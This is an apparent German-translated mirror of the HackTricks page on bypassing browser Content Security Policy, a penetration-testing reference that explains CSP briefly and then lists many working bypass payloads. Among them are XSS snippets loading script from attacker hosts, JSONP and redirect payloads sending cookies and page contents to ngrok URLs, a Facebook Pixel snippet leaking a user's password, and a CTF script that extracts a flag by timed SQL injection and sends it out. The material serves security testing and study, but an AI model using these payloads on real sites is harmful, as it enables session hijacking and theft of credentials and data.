mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00

History

Translator 64885142ff Translated ['generic-methodologies-and-resources/basic-forensic-methodol		2024-06-05 13:49:22 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md	Translated to German	2024-02-10 15:36:32 +00:00
README.md	Translated ['generic-methodologies-and-resources/basic-forensic-methodol	2024-06-05 13:49:22 +00:00

README.md

Content Security Policy (CSP) Umgehung

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositorys einreichen.

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking-Einblicke
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen

Echtzeit-Hack-News
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert

Treten Sie uns auf Discord bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!

Was ist CSP

Content Security Policy (CSP) wird als Browser-Technologie anerkannt, die hauptsächlich darauf abzielt, vor Angriffen wie Cross-Site-Scripting (XSS) zu schützen. Sie funktioniert, indem sie Pfade und Quellen definiert und detailliert angibt, von denen Ressourcen sicher vom Browser geladen werden können. Diese Ressourcen umfassen eine Vielzahl von Elementen wie Bilder, Frames und JavaScript. Beispielsweise könnte eine Richtlinie das Laden und Ausführen von Ressourcen von der gleichen Domäne (self) erlauben, einschließlich Inline-Ressourcen und die Ausführung von String-Code durch Funktionen wie eval, setTimeout oder setInterval.

Die Implementierung von CSP erfolgt über Antwortheader oder durch das Einbinden von Meta-Elementen in die HTML-Seite. Nach dieser Richtlinie setzen Browser diese Bestimmungen proaktiv durch und blockieren sofort alle festgestellten Verstöße.

Implementiert über Antwortheader:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

Implementiert über Meta-Tag:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Überschriften

CSP kann mithilfe dieser Header durchgesetzt oder überwacht werden:

Content-Security-Policy: Setzt die CSP durch; der Browser blockiert Verstöße.
Content-Security-Policy-Report-Only: Wird zur Überwachung verwendet; meldet Verstöße, ohne sie zu blockieren. Ideal für Tests in Vorproduktionsumgebungen.

Definieren von Ressourcen

CSP beschränkt die Ursprünge für das Laden von aktiven und passiven Inhalten und steuert Aspekte wie die Ausführung von Inline-JavaScript und die Verwendung von eval(). Ein Beispiel für eine Richtlinie ist:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Direktiven

script-src: Erlaubt spezifische Quellen für JavaScript, einschließlich URLs, Inline-Skripte und Skripte, die durch Ereignisbehandler oder XSLT-Stylesheets ausgelöst werden.
default-src: Legt eine Standardrichtlinie für das Abrufen von Ressourcen fest, wenn spezifische Abrufanweisungen fehlen.
child-src: Legt erlaubte Ressourcen für Web Worker und eingebettete Frame-Inhalte fest.
connect-src: Beschränkt URLs, die über Schnittstellen wie fetch, WebSocket, XMLHttpRequest geladen werden können.
frame-src: Beschränkt URLs für Frames.
frame-ancestors: Legt fest, welche Quellen die aktuelle Seite einbetten können, gilt für Elemente wie <frame>, <iframe>, <object>, <embed> und <applet>.
img-src: Definiert erlaubte Quellen für Bilder.
font-src: Legt gültige Quellen für über @font-face geladene Schriftarten fest.
manifest-src: Definiert erlaubte Quellen von Anwendungsmanifestdateien.
media-src: Definiert erlaubte Quellen für das Laden von Medienobjekten.
object-src: Definiert erlaubte Quellen für <object>, <embed> und <applet>-Elemente.
base-uri: Legt erlaubte URLs für das Laden mit <base>-Elementen fest.
form-action: Listet gültige Endpunkte für Formularübermittlungen auf.
plugin-types: Beschränkt die MIME-Typen, die eine Seite aufrufen darf.
upgrade-insecure-requests: Weist Browser an, HTTP-URLs in HTTPS umzuschreiben.
sandbox: Wendet Einschränkungen ähnlich wie das sandbox-Attribut eines <iframe> an.
report-to: Legt eine Gruppe fest, an die ein Bericht gesendet wird, wenn die Richtlinie verletzt wird.
worker-src: Legt gültige Quellen für Worker-, SharedWorker- oder ServiceWorker-Skripte fest.
prefetch-src: Legt gültige Quellen für Ressourcen fest, die abgerufen oder vorab abgerufen werden.
navigate-to: Beschränkt die URLs, zu denen ein Dokument auf beliebige Weise navigieren kann (a, form, window.location, window.open usw.).

Quellen

*: Erlaubt alle URLs außer denen mit den Schemas data:, blob:, filesystem:.
'self': Erlaubt das Laden von der gleichen Domain.
'data': Erlaubt das Laden von Ressourcen über das Daten-Schema (z. B. Base64-codierte Bilder).
'none': Blockiert das Laden von jeder Quelle.
'unsafe-eval': Erlaubt die Verwendung von eval() und ähnlichen Methoden, aus Sicherheitsgründen nicht empfohlen.
'unsafe-hashes': Ermöglicht spezifische Inline-Ereignishandler.
'unsafe-inline': Erlaubt die Verwendung von Inline-Ressourcen wie Inline-<script> oder <style>, aus Sicherheitsgründen nicht empfohlen.
'nonce': Eine Whitelist für spezifische Inline-Skripte unter Verwendung eines kryptografischen Nonce (einmal verwendete Nummer).
Wenn die JS-Ausführung eingeschränkt ist, ist es möglich, einen verwendeten Nonce innerhalb der Seite mit doc.defaultView.top.document.querySelector("[nonce]") zu erhalten und ihn dann wiederzuverwenden, um ein bösartiges Skript zu laden (wenn strict-dynamic verwendet wird, kann jede erlaubte Quelle neue Quellen laden, daher ist dies nicht erforderlich), wie in:

Skript unter Verwendung von Nonce erneut laden

```html

```

'sha256-<hash>': Whitelists scripts with a specific sha256 hash.
'strict-dynamic': Ermöglicht das Laden von Skripten aus jeder Quelle, wenn sie durch eine Nonce oder Hash auf die Whitelist gesetzt wurden.
'host': Gibt einen spezifischen Host an, wie z. B. example.com.
https:: Beschränkt URLs auf die Verwendung von HTTPS.
blob:: Ermöglicht das Laden von Ressourcen aus Blob-URLs (z. B. Blob-URLs, die über JavaScript erstellt wurden).
filesystem:: Ermöglicht das Laden von Ressourcen aus dem Dateisystem.
'report-sample': Enthält eine Probe des verletzenden Codes im Verstoßbericht (nützlich für die Fehlersuche).
'strict-origin': Ähnlich wie 'self', stellt jedoch sicher, dass das Sicherheitsniveau des Protokolls der Quellen mit dem Dokument übereinstimmt (nur sichere Ursprünge können Ressourcen aus sicheren Ursprüngen laden).
'strict-origin-when-cross-origin': Sendet vollständige URLs bei der Ausführung von Anfragen mit demselben Ursprung, sendet jedoch nur den Ursprung, wenn die Anfrage über Ursprungsgrenzen hinweg erfolgt.
'unsafe-allow-redirects': Ermöglicht das Laden von Ressourcen, die sofort zu einer anderen Ressource umgeleitet werden. Nicht empfohlen, da dies die Sicherheit beeinträchtigt.

Unsichere CSP-Regeln

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Arbeitslast: "/><script>alert(1);</script>

self + 'unsafe-inline' über Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

{% hint style="danger" %} Dies funktioniert nicht, für weitere Informationen überprüfen Sie dies. {% endhint %}

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Funktionsfähige Nutzlast:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Wenn Sie auf irgendeine Weise zulässigen JS-Code erstellen können, der ein neues Skript-Tag im DOM mit Ihrem JS-Code erstellt, wird das neue Skript-Tag aufgrund des zulässigen Skripts ausgeführt.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Funktionsfähige Nutzlast:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Fehlen von object-src und default-src

{% hint style="danger" %} Es scheint, dass dies nicht mehr funktioniert {% endhint %}

Content-Security-Policy: script-src 'self' ;

Funktionierende Payloads:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Datei-Upload + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Wenn Sie eine JS-Datei hochladen können, können Sie dieses CSP umgehen:

Arbeitslast:

"/>'><script src="/uploads/picture.png.js"></script>

Jedoch ist es sehr wahrscheinlich, dass der Server die hochgeladene Datei validiert und nur das Hochladen eines bestimmten Dateityps zulässt.

Darüber hinaus, selbst wenn Sie einen JS-Code innerhalb einer Datei hochladen könnten, die von dem Server akzeptierte Erweiterung verwendet (wie z. B. script.png), reicht dies nicht aus, da einige Server wie der Apache-Server den MIME-Typ der Datei basierend auf der Erweiterung auswählen und Browser wie Chrome die Ausführung von Javascript-Code in etwas ablehnen werden, das ein Bild sein sollte. "Glücklicherweise" gibt es Fehler. Zum Beispiel habe ich aus einem CTF gelernt, dass Apache die Erweiterung .wave nicht kennt, daher wird sie nicht mit einem MIME-Typ wie audio/* bedient.

Von hier aus, wenn Sie ein XSS und ein Datei-Upload finden und es schaffen, eine falsch interpretierte Erweiterung zu finden, könnten Sie versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das richtige Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglott (einige Polyglott-Beispiele hier).

Formularaktion

Wenn es nicht möglich ist, JS einzufügen, könnten Sie dennoch versuchen, beispielsweise Anmeldeinformationen zu exfiltrieren, indem Sie eine Formularaktion einfügen (und möglicherweise darauf hoffen, dass Passwort-Manager Passwörter automatisch ausfüllen). Sie finden ein Beispiel in diesem Bericht. Beachten Sie auch, dass default-src keine Formularaktionen abdeckt.

Endpunkte von Drittanbietern + ('unsafe-eval')

{% hint style="warning" %} Für einige der folgenden Payloads ist unsafe-eval nicht einmal erforderlich. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Laden Sie eine verwundbare Version von Angular und führen Sie beliebigen JS-Code aus:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben (siehe diesen Beitrag):

{% hint style="info" %} Der Beitrag zeigt, dass Sie alle Bibliotheken von cdn.cloudflare.com (oder einem anderen erlaubten JS-Bibliotheks-Repository) laden könnten, alle hinzugefügten Funktionen aus jeder Bibliothek ausführen und überprüfen könnten, welche Funktionen aus welchen Bibliotheken das window-Objekt zurückgeben. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS aus einem Klassennamen:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Ausnutzung des Google reCAPTCHA-JS-Codes

Laut diesem CTF-Writeup kann https://www.google.com/recaptcha/ innerhalb einer CSP missbraucht werden, um beliebigen JS-Code auszuführen und die CSP zu umgehen:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Weitere Payloads aus diesem Artikel:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Ausnutzung von www.google.com für offene Weiterleitungen

Die folgende URL leitet auf example.com weiter (von hier):

https://www.google.com/amp/s/example.com/

Drittanbieter-Endpunkte + JSONP

Es ist möglich, Google Apps Script zu missbrauchen, um Informationen auf einer Seite innerhalb von script.google.com zu empfangen. Wie es in diesem Bericht gemacht wird.

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Szenarien wie dieses, bei denen script-src auf self und eine bestimmte Domain gesetzt ist, die auf der Whitelist steht, können mit JSONP umgangen werden. JSONP-Endpunkte ermöglichen unsichere Rückrufmethoden, die es einem Angreifer ermöglichen, XSS auszuführen. Funktionierendes Payload:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee enthält fertige JSONP-Endpunkte zum Umgehen der CSP verschiedener Websites.

Die gleiche Schwachstelle tritt auf, wenn der vertrauenswürdige Endpunkt eine offene Weiterleitung enthält, da Weiterleitungen vertrauenswürdig sind, wenn der ursprüngliche Endpunkt vertrauenswürdig ist.

Missbräuche von Drittanbietern

Wie im folgenden Beitrag beschrieben, können viele Drittanbieter-Domains, die möglicherweise irgendwo in der CSP zugelassen sind, missbraucht werden, um Daten auszuleiten oder JavaScript-Code auszuführen. Einige dieser Drittanbieter sind:

Entität	Zugelassene Domain	Fähigkeiten
Facebook	www.facebook.com, *.facebook.com	Exfil
Hotjar	*.hotjar.com, ask.hotjar.io	Exfil
Jsdelivr	*.jsdelivr.com, cdn.jsdelivr.net	Exec
Amazon CloudFront	*.cloudfront.net	Exfil, Exec
Amazon AWS	*.amazonaws.com	Exfil, Exec
Azure Websites	.azurewebsites.net, .azurestaticapps.net	Exfil, Exec
Salesforce Heroku	*.herokuapp.com	Exfil, Exec
Google Firebase	*.firebaseapp.com	Exfil, Exec

Wenn Sie eine der zugelassenen Domains in der CSP Ihres Ziels finden, besteht die Möglichkeit, dass Sie die CSP umgehen können, indem Sie sich bei dem Drittanbieterdienst registrieren und entweder Daten an diesen Dienst ausleiten oder Code ausführen.

Wenn Sie beispielsweise die folgende CSP finden:

Content-Security-Policy: default-src 'self’ www.facebook.com;

oder

Content-Security-Policy: connect-src www.facebook.com;

Erstellen Sie ein Facebook Developer-Konto hier.
Erstellen Sie eine neue "Facebook-Anmeldung" App und wählen Sie "Website".
Gehen Sie zu "Einstellungen -> Grundlegendes" und notieren Sie sich Ihre "App-ID".
Auf der Zielseite, von der Sie Daten exfiltrieren möchten, können Sie Daten direkt über das Facebook SDK-Gerät "fbq" mithilfe eines "customEvent" und des Datenpayloads exfiltrieren.
Gehen Sie zu Ihrem App "Event-Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event-Manager unter einer URL wie dieser zu finden ist: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
Wählen Sie den Tab "Test Events", um die von "Ihrer" Website gesendeten Ereignisse zu sehen.

Dann führen Sie auf der Opferseite den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, um auf das App-ID des Angreifers im Facebook Developer-Konto zu verweisen und ein benutzerdefiniertes Ereignis wie folgt auszulösen:

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

Umgehung über RPO (Relative Path Overwrite)

Neben der bereits erwähnten Umleitung zur Umgehung von Pfadbeschränkungen gibt es eine weitere Technik namens Relative Path Overwrite (RPO), die auf einigen Servern verwendet werden kann.

Wenn beispielsweise CSP den Pfad https://example.com/scripts/react/ zulässt, kann er wie folgt umgangen werden:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Der Browser wird letztendlich https://example.com/scripts/angular/angular.js laden.

Dies funktioniert, weil der Browser eine Datei namens ..%2fangular%2fangular.js lädt, die sich unter https://example.com/scripts/react/ befindet, was mit CSP konform ist.

Daher wird es dekodiert und effektiv https://example.com/scripts/react/../angular/angular.js angefordert, was äquivalent zu https://example.com/scripts/angular/angular.js ist.

Durch Ausnutzen dieser Inkonsistenz in der URL-Interpretation zwischen Browser und Server können die Pfadregeln umgangen werden.

Die Lösung besteht darin, %2f auf der Serverseite nicht als / zu behandeln, um eine konsistente Interpretation zwischen Browser und Server sicherzustellen und dieses Problem zu vermeiden.

Online-Beispiel: https://jsbin.com/werevijewa/edit?html,output

Iframes-JS-Ausführung

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

fehlendes base-uri

Wenn die Direktive base-uri fehlt, können Sie sie missbrauchen, um eine dangling markup injection durchzuführen.

Darüber hinaus, wenn die Seite ein Skript unter Verwendung eines relativen Pfads lädt (wie <script src="/js/app.js">) und einen Nonce verwendet, können Sie das base tag missbrauchen, um das Skript von Ihrem eigenen Server zu laden und so ein XSS zu erreichen.
Wenn die verwundbare Seite mit httpS geladen wird, verwenden Sie eine httpS-URL im base.

<base href="https://www.attacker.com/">

AngularJS Ereignisse

Eine spezifische Richtlinie namens Content Security Policy (CSP) kann JavaScript-Ereignisse einschränken. Dennoch führt AngularJS benutzerdefinierte Ereignisse als Alternative ein. Innerhalb eines Ereignisses stellt AngularJS ein einzigartiges Objekt $event bereit, das auf das native Browser-Ereignisobjekt verweist. Dieses $event-Objekt kann ausgenutzt werden, um die CSP zu umgehen. Insbesondere besitzt in Chrome das $event/event-Objekt ein Attribut path, das ein Objektarray enthält, das in die Ereignisausführungskette verwickelt ist, wobei das window-Objekt unweigerlich am Ende positioniert ist. Diese Struktur ist entscheidend für Sandbox-Escape-Taktiken.

Indem dieses Array auf den orderBy-Filter gerichtet wird, ist es möglich, darüber zu iterieren und das Terminalobjekt (das window-Objekt) zu nutzen, um eine globale Funktion wie alert() auszulösen. Der nachfolgende dargestellte Code-Schnipsel verdeutlicht diesen Prozess:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Dieser Ausschnitt hebt die Verwendung der ng-focus Direktive hervor, um das Ereignis auszulösen, verwendet $event.path|orderBy, um das path Array zu manipulieren, und nutzt das window Objekt, um die alert() Funktion auszuführen und somit document.cookie offenzulegen.

Finde weitere Angular Umgehungen unter https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS und whitelistet Domain

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Eine CSP-Richtlinie, die Domains für das Laden von Skripten in einer Angular JS-Anwendung whitelistet, kann durch die Aufruf von Rückruffunktionen und bestimmten anfälligen Klassen umgangen werden. Weitere Informationen zu dieser Technik finden Sie in einem ausführlichen Leitfaden, der in diesem Git-Repository verfügbar ist.

Funktionierende Payloads:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Umgehung über Weiterleitung

Was passiert, wenn CSP serverseitige Weiterleitung feststellt? Wenn die Weiterleitung zu einem anderen Ursprung führt, der nicht erlaubt ist, schlägt sie dennoch fehl.

Gemäß der Beschreibung in CSP-Spezifikation 4.2.2.3. Pfade und Weiterleitungen kann die Weiterleitung jedoch die ursprünglichen Beschränkungen umgehen, wenn sie zu einem anderen Pfad führt.

Hier ist ein Beispiel:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Wenn CSP auf https://www.google.com/a/b/c/d festgelegt ist, werden sowohl Skripte /test als auch /a/test durch CSP blockiert.

Jedoch wird das endgültige http://localhost:5555/301 auf der Serverseite zu https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// umgeleitet. Da es sich um eine Umleitung handelt, wird der Pfad nicht berücksichtigt, und das Skript kann geladen werden, wodurch die Pfadbeschränkung umgangen wird.

Durch diese Umleitung wird selbst dann, wenn der Pfad vollständig angegeben ist, die Beschränkung umgangen.

Daher ist die beste Lösung sicherzustellen, dass die Website keine offenen Umleitungsanfälligkeiten aufweist und dass es keine Domains gibt, die in den CSP-Regeln ausgenutzt werden können.

Umgehen von CSP mit hängender Markup

Lesen Sie hier, wie es geht.

'unsafe-inline'; img-src *; über XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' bedeutet, dass du beliebigen Code innerhalb des Codes ausführen kannst (XSS kann Code ausführen) und img-src * bedeutet, dass du auf der Webseite jedes Bild aus jeder Quelle verwenden kannst.

Du kannst diese CSP umgehen, indem du die Daten über Bilder exfiltrierst (in diesem Fall nutzt das XSS einen CSRF aus, bei dem eine vom Bot zugängliche Seite eine SQL-Injection enthält und die Flagge über ein Bild extrahiert):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

Von: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Sie könnten auch diese Konfiguration missbrauchen, um JavaScript-Code zu laden, der in ein Bild eingefügt wurde. Wenn beispielsweise die Seite das Laden von Bildern von Twitter erlaubt, könnten Sie ein spezielles Bild erstellen, es auf Twitter hochladen und das "unsafe-inline" missbrauchen, um einen JS-Code auszuführen (wie bei einem regulären XSS), der das Bild lädt, den JS extrahiert und ausführt: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Mit Service-Workern

Die Funktion importScripts von Service-Workern ist nicht durch CSP eingeschränkt:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Richtlinieninjektion

Forschung: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Wenn ein von Ihnen gesendeter Parameter innerhalb der Deklaration der Richtlinie eingefügt wird, könnten Sie die Richtlinie auf eine Weise ändern, die sie nutzlos macht. Sie könnten das Skript 'unsafe-inline' mit einem dieser Umgehungen erlauben:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Da diese Direktive bestehende script-src-Direktiven überschreiben wird.
Ein Beispiel finden Sie hier: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Im Edge ist es viel einfacher. Wenn Sie dem CSP nur dies hinzufügen können: ;_ würde Edge die gesamte Richtlinie fallen lassen.
Beispiel: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Zeitangriff

Beachten Sie das Fehlen der Direktive 'unsafe-inline'
Dieses Mal können Sie das Opfer dazu bringen, eine Seite unter Ihrer Kontrolle über XSS mit einem <iframe zu laden. Dieses Mal werden Sie das Opfer dazu bringen, die Seite aufzurufen, von der Sie Informationen extrahieren möchten (CSRF). Sie können nicht auf den Inhalt der Seite zugreifen, aber wenn Sie irgendwie die Ladezeit der Seite kontrollieren können, können Sie die benötigten Informationen extrahieren.

Dieses Mal wird eine Flagge extrahiert, immer wenn ein Zeichen richtig geraten wird über SQLi, dauert die Antwort aufgrund der sleep-Funktion länger. Dann können Sie die Flagge extrahieren:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Über Bookmarklets

Dieser Angriff würde einige soziale Manipulationen implizieren, bei denen der Angreifer den Benutzer überzeugt, einen Link über das Bookmarklet des Browsers zu ziehen und abzulegen. Dieses Bookmarklet würde bösartigen JavaScript-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, wodurch die CSP umgangen wird und das Stehlen sensibler Informationen wie Cookies oder Tokens ermöglicht wird.

Für weitere Informationen überprüfen Sie den Originalbericht hier.

CSP-Umgehung durch Beschränkung der CSP

In diesem CTF-Bericht wird die CSP umgangen, indem in einem erlaubten iframe eine restriktivere CSP eingefügt wird, die das Laden einer bestimmten JS-Datei verhindert, die dann über Prototyp-Verschmutzung oder DOM-Überlagerung erlaubt, ein anderes Skript zu missbrauchen, um ein beliebiges Skript zu laden.

Sie können die CSP eines Iframes mit dem csp-Attribut beschränken:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

In diesem CTF-Writeup war es durch HTML-Injection möglich, eine CSP weiter zu beschränken, sodass ein Skript, das CSTI verhinderte, deaktiviert wurde und somit die Schwachstelle ausnutzbar wurde.
CSP kann durch Verwendung von HTML-Meta-Tags restriktiver gestaltet werden und Inline-Skripte können deaktiviert werden, indem der Eintrag entfernt wird, der ihre Nonce zulässt, und spezifische Inline-Skripte über sha aktiviert werden:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

